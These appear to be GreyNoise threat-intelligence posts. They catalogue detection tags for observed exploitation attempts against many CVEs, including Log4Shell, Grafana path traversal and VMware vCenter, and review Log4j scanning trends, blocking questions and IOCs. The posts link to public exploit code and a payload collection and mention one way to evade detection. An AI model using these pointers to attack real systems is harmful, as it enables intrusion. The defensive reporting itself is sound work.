This IP address has been observed attempting to exploit CVE-2021-44228 and CVE-2021-45046, a remote code execution vulnerability in the popular Java logging library Apache Log4j. CVE-2021-44228 affects versions 2.14.1 and earlier, CVE-2021-45046 affects versions 2.15.0 and earlier. References:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
• ‍https://github.com/apache/logging-log4j2/pull/608

See it on GreyNoise Viz

CentOS Web Panel RCE Attempt [Intention: Malicious]

This IP address has been observed attempting to exploit a vulnerability in CentOS Web Panel, which can lead to elevated privileges and remote code execution. References:

• https://octagon.net/blog/2022/01/22/cve-2021-45467-cwp-centos-web-panel-preauth-rce/
• https://portswigger.net/daily-swig/rce-bug-chain-patched-in-centos-web-panel

See it on GreyNoise Viz

FHEM LFI [Intention: Malicious]

CVE-2020-19360

This IP address has been observed attempting to exploit CVE-2020-19360, a local file inclusion vulnerability in FHEM perl server. References:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-19360
• https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability/blob/master/README.md

See it on GreyNoise Viz

GLPI SQL Injection Attempt [Intention: Malicious]

CVE-2019-10232

This IP address has been observed attempting to exploit CVE-2019-10232, an SQL injection vulnerability in GLPI service management software. References:

• https://nvd.nist.gov/vuln/detail/CVE-2019-10232
• https://www.synacktiv.com/ressources/advisories/GLPI_9.3.3_SQL_Injection.pdf
• https://github.com/glpi-project/glpi/commit/684d4fc423652ec7dde21cac4d41c2df53f56b3c

See it on GreyNoise Viz

Grafana Path Traversal Attempt [Intention: Malicious]

CVE-2021-43798

This IP address has been observed attempting to exploit CVE-2021-43798, a path traversal and arbitrary file read in Grafana. References:

• https://nvd.nist.gov/vuln/detail/CVE-2021-43798
• https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
• https://therecord.media/grafana-releases-security-patch-after-exploit-for-severe-bug-goes-public/

See it on GreyNoise Viz

Grafana Path Traversal Check [Intention: Unknown]

CVE-2021-43798

This IP address has been observed attempting to check for the presence of CVE-2021-43798, a path traversal and arbitrary file read in Grafana. References:

• https://nvd.nist.gov/vuln/detail/CVE-2021-43798
• https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
• https://therecord.media/grafana-releases-security-patch-after-exploit-for-severe-bug-goes-public/

See it on GreyNoise Viz

HRsale LFI [Intention: Malicious]

CVE-2020-27993

This IP address has been observed attempting to exploit CVE-2020-27993, a local file inclusion vulnerability in HRsale. References:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27993
• https://www.exploit-db.com/exploits/48920

See it on GreyNoise Viz

Metabase LFI Attempt [Intention: Malicious]

CVE-2021-41277

This IP address has been observed attempting to exploit CVE-2021-41277, a local file inclusion vulnerability in Metabase. References:

• https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr
• https://nvd.nist.gov/vuln/detail/CVE-2021-41277
• https://twitter.com/90security/status/1461923313819832324

See it on GreyNoise Viz

Microsoft HTTP.sys RCE Attempt [Intention: Malicious]

CVE-2021-31166

This IP address has been observed attempting to exploit CVE-2021-31166, a remote code execution vulnerability in the Windows HTTP protocol stack. References:

• https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-31166
• https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2021-31166-rce-in-microsoft-httpsys/
• https://www.zerodayinitiative.com/blog/2021/5/17/cve-2021-31166-a-wormable-code-execution-bug-in-httpsys

See it on GreyNoise Viz

Motorola Baby Monitor RCE Attempt [Intention: Malicious]

CVE-2021-3577

This IP address has been observed attempting to exploit CVE-2021-3577, a remote command execution vulnerability in Motorola Halo+ baby monitors. References:

• https://randywestergren.com/unauthenticated-remote-code-execution-in-motorola-baby-monitors/
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3577

See it on GreyNoise Viz

NodeBB API Token Bypass Attempt [Intention: Malicious]

CVE-2021-43786

This IP address has been observed attempting to exploit CVE-2021-43786, an unintentionally allowed master token access which can lead to remote code execution. References:

• https://nvd.nist.gov/vuln/detail/CVE-2021-43786
• https://blog.sonarsource.com/nodebb-remote-code-execution-with-one-shot
• https://portswigger.net/daily-swig/critical-vulnerabilities-in-open-source-forum-software-nodebb-could-lead-to-rce

See it on GreyNoise Viz

October CMS Password Reset Scanner [Intention: Malicious]

CVE-2021-32648

This IP address has been observed attempting to exploit CVE-2021-32648, a password reset vulnerability in October CMS. References:

• https://nvd.nist.gov/vuln/detail/CVE-2021-32648
• https://github.com/Immersive-Labs-Sec/CVE-2021-32648/blob/main/cve-2021-32648.py

See it on GreyNoise Viz

TP-Link TL-WR840N RCE Attempt [Intention: Malicious]

CVE-2021-41653

This IP address has been observed attempting to exploit CVE-2021-41653, a remote command execution vulnerability in TP-Link TL-WR840N EU v5. References:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41653
• https://securityforeveryone.com/tools/tp-link-os-command-injection-cve-2021-41653
• https://github.com/ohnonoyesyes/CVE-2021-41653

See it on GreyNoise Viz

VMware vCenter Arbitrary File Read Attempt [Intention: Malicious]

CVE-2021-21980

This IP address has been observed attempting to exploit CVE-2021-21980, an unauthorized arbitrary file read vulnerability in vSphere Web Client. References:

• https://www.vmware.com/security/advisories/VMSA-2021-0027.html
• https://nvd.nist.gov/vuln/detail/CVE-2021-21980
• https://github.com/l0ggg/VMware_vCenter

See it on GreyNoise Viz

VMware vCenter SSRF Attempt [Intention: Malicious]

CVE-2021-22049

This IP address has been observed attempting to exploit CVE-2021-22049, a server-side request forgery vulnerability in vSphere Web Client. References:

• https://www.vmware.com/security/advisories/VMSA-2021-0027.html
• https://nvd.nist.gov/vuln/detail/CVE-2021-22049
• https://github.com/l0ggg/VMware_vCenter

See it on GreyNoise Viz

WebSVN 2.6.0 RCE CVE-2021-32305 [Intention: Malicious]

CVE-2021-32305

This IP address has been observed scanning the Internet for devices vulnerable to CVE-2021-32305, a remote code execution vulnerability in WebSVN which utilizes a shell metacharacter in the search parameter. References:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32305
• https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html

See it on GreyNoise Viz

Zimbra Collaboration Suite XXE Attempt [Intention: Malicious]

CVE-2019-9670

This IP address has been observed attempting to exploit CVE-2019-9670, an XXE vulnerability in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10. References:

• https://www.exploit-db.com/exploits/46693/
• https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
• https://bugzilla.zimbra.com/show_bug.cgi?id=109129
• http://www.rapid7.com/db/modules/exploit/linux/http/zimbra_xxe_rce
• http://packetstormsecurity.com/files/152487/Zimbra-Collaboration-Autodiscover-Servlet-XXE-ProxyServlet-SSRF.html
• https://isc.sans.edu/forums/diary/CVE20199670+Zimbra+Collaboration+Suite+XXE+vulnerability/27570/

See it on GreyNoise Viz

Zoho ManageEngine ServiceDesk Plus msiexec RCE Attempt [Intention: Malicious]

CVE-2021-44077

This IP address has been observed attempting to exploit CVE-2021-44077, a remote command execution vulnerability in Zoho ManageEngine ServiceDesk Plus before 11306, ServiceDesk Plus MSP before 10530, and SupportCenter Plus before 11014. References:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44077
• https://attackerkb.com/topics/qv2aD8YfMN/cve-2021-44077/rapid7-analysis
• https://www.cisa.gov/uscert/ncas/current-activity/2021/12/02/cisa-and-fbi-release-alert-active-exploitation-cve-2021-44077-zoho

See it on GreyNoise Viz

Over the past month, security teams have been scrambling to deal with the fallout from the Log4Shell vulnerability (CVE-2021-44228) announced in early December. Between blocking exploitation attempts and trying to determine vulnerable assets, it had already been a long winter for defenders. This vulnerability is particularly challenging as the Apache Log4j library has been used within so many different applications worldwide that it created an unusually large surface area for security teams to identify and defend. Now that the initial shock of the vulnerability is over, we wanted to answer some questions received during the exploit surge and identify a few preventative strategies that might help during future outbreaks.

What does scanning for Log4J look like now?

As of January 2022, a month after initial CVE announcement, GreyNoise still observes a significant volume of traffic related to the Log4j vulnerability. This traffic is primarily composed of generic JNDI string exploit attempts with known obfuscations.

One of the interesting patterns we saw during the first few days of the Log4j “scan-and-exploit” outbreak was a huge surge in benign actors scanning for the vulnerability. The chart above shows Log4j-related activity broken down by scanners who provided attribution (generally benign scanning done by security firms, researchers, and academics) compared to non-attributed scanning (generally, malicious scanning by threat actors).

A huge part of the surge in scanning activity during the first days of the outbreak can be attributed to benign actors. Within the security community, there is significant discussion about the appropriateness of this scanning volume, as security teams further struggled with the alert volumes generated by this traffic during an emergent situation. It’s controversial enough that some in the security community are advocating blocking these types of scans.

Should I block the IPs that are scanning?

That depends. GreyNoise tracks internet noise caused by IPs scanning the entire internet, and classifies them as malicious, unknown, or benign based on their behavior and identity. For example, security vendors that scan the internet to identify vulnerable systems who voluntarily provide self-attribution are generally classified as benign. Other IP addresses that do opportunistic or unsolicited scanning, vuln checking, or exploitation are generally classified as malicious.

Note that organizations are not obligated to allow scanning of their network perimeter, regardless of GreyNoise classification. The value added by allowing or not blocking any IP seen by GreyNoise will vary depending on an organization’s threat model and security posture. The intended purpose of most benign traffic observed by GreyNoise is often to provide context, awareness, and added value to the IT and InfoSec community. However, any significant volume of unsolicited traffic, even that classified as benign by GreyNoise, may result in SOC alert fatigue and dangerous distraction during an active attack.

Does the GreyNoise tag capture the newest versions/latest associated vulnerabilities?

Mostly. The GreyNoise Log4J tag utilizes the presence of a JNDI format string within a packet’s body to tag IPs. The tag focuses on the core cause of the Log4j vulnerability, common to all the CVEs related to Log4j (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832). As a result, the GreyNoise tag has no false positives and provides substantial coverage for relevant CVEs.

However, GreyNoise researchers have observed at least two examples of attempted Log4j exploits where the malicious string was base64 encoded in an application-specific parameter, allowing it to circumvent the GreyNoise tag.

See the following for more details: https://gist.github.com/nathanqthai/197b6084a05690fdebf96ed34ae84305#base64-encoded-into-parameter

Can I get payload data? Pcap?

Not usually. GreyNoise does not currently provide raw sensor data for operational security purposes, although we may do so in the future. The GreyNoise Visualizer and APIs do expose select User-agents and URI paths.

That said, due to the high variance of payloads observed at the peak of Log4j activity in December 2021, GreyNoise researchers elected to curate and publish a unified list of payload examples:

https://gist.github.com/nathanqthai/197b6084a05690fdebf96ed34ae84305#base64-encoded-into-parameter

What’s next?

Application-specific attacks leveraging Log4j vulnerabilities. This Apache Log4j vulnerability has been extremely challenging due to the ubiquity of the logging library's use. CVE-2021-44228 had an enormous impact and drew significant attention to how the Log4j library was used within applications worldwide. This attention resulted in several follow-on CVEs that bypassed the initial patch and used varied attack vectors (CVE-2021-45046, CVE-2021-45105, CVE-2021-44832). Log4j-related exploit activity may evolve as security researchers continue to scrutinize the library and its usage across various applications. For example, application-specific vulnerabilities like those discovered in H2 Database Console and VMware may become more prevalent. (https://portswigger.net/daily-swig/researchers-discover-log4j-like-flaw-in-h2-database-console, https://www.vmware.com/security/advisories/VMSA-2021-0028.html) At this time, GreyNoise has not observed any notable trends or upticks regarding application-specific Log4j payloads.

There are more servers on the internet than there is IPv4 space to assign each of these servers a unique address. In the case of the HTTP protocol, hundreds of servers may share a singular IP address and only be reachable when a specific host header is set as part of the connection request. Scoping out this much larger section of the internet in relation to Log4j is a non-trivial task that remains to be fully explored. It is also one of the reasons the cyber defense search engine “Onyphe” opted against scanning the entire internet for vulnerabilities related to Log4j and instead opted for a more targeted approach.

Stay tuned to GreyNoise to help identify exploit outbreaks

While things are not as bad as they were in December 2021, we do not envision Log4j scanners and attackers disappearing anytime soon. At GreyNoise, our goal is to help identify these kinds of outbreaks as fast as we possibly can in order to give security teams the time and breathing space they need to get their defenses in place.

You are always welcome to use the GreyNoise product to help you separate internet noise from threats as an unauthenticated user on our site. For additional functionality and IP search capacity, create your own GreyNoise Community (free) account today.

Exploit activity for Apache Log4j vulnerability - CVE-2021-44228

UPDATE 16-Dec-21, 4:00 PM ET: Tentative results for #Log4Shell activity by hour showing "Researcher" and "Non-Researcher" breakdown as observed by GreyNoise. It may not be 100% accurate, but it should give an idea of what we are observing. "Researcher" is defined by IPs that GreyNoise knows to be attributable scanners for commercial or research purposes, usually listed as "benign" in our data. "Non-Researcher" is defined as everything else. The researcher numbers seem to flatline, but we believe this is due to the scale of the plot, and new infrastructure spun up by various researchers that have not yet been accounted for. We will try to update this later for a better retroactive understanding.

UPDATE 16-Dec-21, 1:00 PM ET: GreyNoise Research has compiled a set of sample Log4Shell (CVE-2021-44228) payloads observed in the wild. These samples are intended to provide individuals with a clearer idea of some of the variation we're seeing, including esoteric protocols such as IIOP. https://gist.github.com/nathanqthai/197b6084a05690fdebf96ed34ae84305

UPDATE 15-Dec-21, 11:00 PM ET: As of 15-Dec-21, GreyNoise Research is seeing a decrease in the number of unique IP addresses scanning for the Apache Log4j vulnerability.

On December 5, 2021, Apache identified a vulnerability (later identified as CVE-2021-44228) in their widely used Log4j logging service. The vulnerability, also known as Log4shell, enables attackers to gain full control of affected servers by allowing unauthenticated remote code execution if the user is running an application utilizing the Java logging library. Log4j is heavily integrated into a broad set of DevOps frameworks, enterprise IT systems, and vendor software and cloud products.

GreyNoise first observed activity for this vulnerability on December 9, 2021, from 194.48.199[.]78 and 181.214.39[.]2.

To get a current list of all the IP addresses opportunistically scanning the internet to vuln check or exploit CVE-2021-44228, check out this tag summary in the GreyNoise Visualizer

“The reason this vulnerability matters is that Log4j is heavily integrated in enterprise IT and devops. There are a whole bunch of devops frameworks and a whole bunch of enterprise IT systems and vendor systems that use it. So if you pick basically any large vendor and stick Log4j in Google, you’ll find it kicking around in different products, which is going to become a problem. There’s clearly lots of systems out there that, in some way shape or form, rely on this.” – Kevin Beaumont (@GossiTheDog, via Twitter Spaces recording)

Timeline of CVE-2021-44228

On December 5th, 2021, Apache filed a JIRA issue identifying the vulnerability that would become CVE-2021-44228. The following day, December 6th, Apache released a patch providing some details on the vulnerability and crediting Chen Zhaojun of Alibaba Cloud Security Team for the discovery.

On December 9th, weaponized proof-of-concept exploits (PoCs) began to appear, leading to a rapid increase of scanning and public exploitation on December 10th.

Between 1200 EST and 1400 EST on December 10, 2021, GreyNoise has observed a 5x increase in the number of hits per sensor related to the Log4shell event.

Impact of CVE-2021-44228

Due to ease of exploitation and prevalence of Log4J, GreyNoise researchers believe that this activity will continue to increase over the next few days. A wide variety of use cases for this exploit have already begun to appear, ranging from exploiting Minecraft servers

to more high-profile issues potentially affecting Apple iCloud

‍

‍

The vulnerability feels similar to ShellShock, a vulnerability GreyNoise still observes since it was first identified in 2014.

Indicator of Compromise (IoC) resources for security teams

GreyNoise is providing IOCs for CVE-2021-44228 Apache Log4j RCE attempts on Github. You can access the C2/Callback domains here and the latest IPs here. You can get the most up-to-date information via GreyNoise for Log4shell here.

CVE-2021-44228 is still new, and its impact will likely be felt for a long time due to the pervasiveness of Log4j. Multiple recommendations for patching have been made (CISA), and detections have been made available. As the landscape develops, GreyNoise will be tweeting about new information and IoCs. Follow us there for the latest information.

‍

New Tags

GitLab CE RCE Attempt  [Intention: Malicious]

• CVE-2021-22205
• This IP address has been observed attempting to exploit CVE-2021-22205, a remote command execution vulnerability in GitLab Community Edition.
• Sources: NIST, HN Security, GitHub
• See it on GreyNoise Viz

Apache Storm Supervisor RCE Attempt  [Intention: Malicious]

• CVE-2021-40865
• This IP address has been observed attempting to exploit CVE-2021-40865, a pre-auth remote code execution vulnerability in Apache Storm supervisor server.
• Sources: Security Lab, SecLists
• See it on GreyNoise Viz

Hikvision IP Camera RCE Attempt  [Intention: Malicious]

• CVE-2021-36260
• This IP address has been observed attempting to exploit CVE-2021-36260, a remote command execution vulnerability in Hikvision IP cameras and NVR firmware.
• Sources: Watchful IP, Github (@Aiminsun)
• See it on GreyNoise Viz

SonicWall SMA100 Factory Reset Attempt  [Intention: Malicious]

• CVE-2021-20034
• This IP address has been observed attempting to exploit CVE-2021-20034, an arbitrary file deletion vulnerability that allows performing a factory reset on SonicWall SMA100 devices.
• Sources: Exploit DB, Attacker KB
• See it on GreyNoise Viz

SonicWall SSL-VPN RCE Attempt  [Intention: Malicious]

• This IP address has been observed attempting to exploit a remote command execution vulnerability in SonicWall SSL-VPN.
• Sources: Darren Martyn (Blog, GitHub)
• See it on GreyNoise Viz

Legacy Web Server RCE Attempt [Intention: Malicious]

• CVE-2009-4487, CVE-2009-4488, CVE-2009-4489, CVE-2009-4490, CVE-2009-4491, CVE-2009-4492, CVE-2009-4493, CVE-2009-4494, CVE-2009-4495, CVE-2009-4496
• This IP address has been observed attempting to exploit a command injection vulnerability found in the old versions of several web servers.
• Sources: ush.it
• See it on GreyNoise Viz

D-Link DIR-825 R1 RCE Attempt [Intention: Malicious]

• CVE-2020-29557
• This IP address has been observed attempting to exploit CVE-2020-29557, a remote command execution vulnerability in D-Link DIR-825 R1 devices.
• Sources: Shaked Delarea, NIST
• See it on GreyNoise Viz

D-Link DNS-320 RCE Attempt [Intention: Malicious]

• CVE-2020-25506
• This IP address has been observed attempting to exploit CVE-2020-25506, a remote command execution vulnerability in D-Link DNS-320 devices.
• Sources: NIST, GitHub
• See it on GreyNoise Viz

Micro Focus OBR RCE Attempt [Intention: Malicious]

• CVE-2021-22502
• This IP address has been observed attempting to exploit CVE-2021-22502, a remote command execution vulnerability in Micro Focus Operation Bridge Reporter software.
• Sources: NIST, GitHub
• See it on GreyNoise Viz

Yealink Device Management RCE Attempt [Intention: Malicious]

• CVE-2021-27561
• This IP address has been observed attempting to exploit CVE-2021-27561, a remote command execution vulnerability in Yealink Device Management Platform.
• Sources: NIST,  SSD Disclosure
• See it on GreyNoise Viz